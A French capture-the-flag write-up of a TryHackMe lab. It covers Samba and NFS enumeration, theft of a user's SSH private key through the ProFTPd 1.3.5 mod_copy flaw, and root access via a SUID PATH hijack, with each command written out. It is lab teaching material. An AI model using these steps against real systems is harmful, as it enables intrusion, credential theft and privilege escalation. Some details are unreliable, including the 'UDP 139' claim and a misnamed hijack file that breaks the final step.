Exploitation d'une cible Linux via Samba et ProFTPd pour l'élévation de privilèges

Cet exercice est basé sur la salle TryHackMe accessible à ce lien. L'objectif est de compromettre une machine Linux en exploitant des vulnérabilités dans le service Samba et le serveur ProFTPd, suivie d'une élévation de privilèges via la manipulation de la variable PATH.

Exploration des ports avec Nmap

Pour identifier les services actifs, une analyse approfondie des ports est réalisée :

nmap -sV -sC -A -T5 10.0.0.50

Énumération des partages Samba

Samba permet le partage de fichiers sur un réseau en utilisant le protocole SMB. Le service écoute sur les ports TCP 445 et UDP 139. Pour découvrir les partages exposés, on utilise les scripts Nmap dédiés :

nmap -p 445 --script=smb-enum-shares.nse 10.0.0.50

Une connexion anonyme au partage peut être établie pour inspecter son contenu :

smbclient //10.0.0.50/public

Pour récupérer les fichiers de manière récursive, l'outil smbget est utile :

smbget -R smb://10.0.0.50/public

L'analyse du fichier journal présent dans le partage révèle des informations cruciales : le chemin de la clé SSH pour l'utilisateur Kenobi et la version du serveur ProFTPd. De plus, le service rpcbind sur le port 111 indique la présence de NFS :

nmap -p 111 --script=nfs-ls,nfs-showmount 10.0.0.50

Exploitation de la vulnérabilité ProFTPd

ProFTPd version 1.3.5 présente une faille dans le module mod_copy, permettant la copie de fichiers sans authentification. La version peut être confirmée par une connexion directe :

nc 10.0.0.50 21

Les outils de recherche comme searchsploit identifient les exploits disponibles :

searchsploit proftpd 1.3.5

En exploitant les commandes SITE CPFR et SITE CPTO, la clé SSH de l'utilisateur Kenobi est copiée vers un répertoire accessible via NFS :

nc 10.0.0.50 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/cle_rsa

Le répertoire distant est ensuite monté locallement pour accéder à la clé :

mkdir /mnt/partage_nfs
mount 10.0.0.50:/var /mnt/partage_nfs
cp /mnt/partage_nfs/tmp/cle_rsa ./cle_locale
chmod 600 cle_locale
ssh -i cle_locale kenobi@10.0.0.50 -oHostKeyAlgorithms=+ssh-rsa

Élévation de privilèges via la variable PATH

Les bits SUID permettnet à un programme de s'exécuter avec les privilèges de son propriétaire. Une recherche sur le système cible liste les fichiers SUID :

find / -perm -u=s -type f 2>/dev/null

Le fichier /usr/bin/utilitaire attire l'attention. L'analyse de ses chaînes de caractères montre qu'il appelle des commandes sans chemin absolu :

strings /usr/bin/utilitaire

En créant un exécutable personnalisé nommé curl dans un répertoire temporaire et en modifiant la variable PATH, on peut capturer l'exécution avec des privilèges root :

cd /tmp
echo "/bin/bash" > curl_personnalise
chmod +x curl_personnalise
export PATH=/tmp:$PATH
/usr/bin/utilitaire

En sélectionnant l'option appropriée dans le menu du programme, un shell root est obtenu, permettant d'accéder aux fichiers sensibles :

cat /root/flag.txt

Étiquettes: nmap Samba smbclient proftpd nfs

Publié le 13 juin à 18h10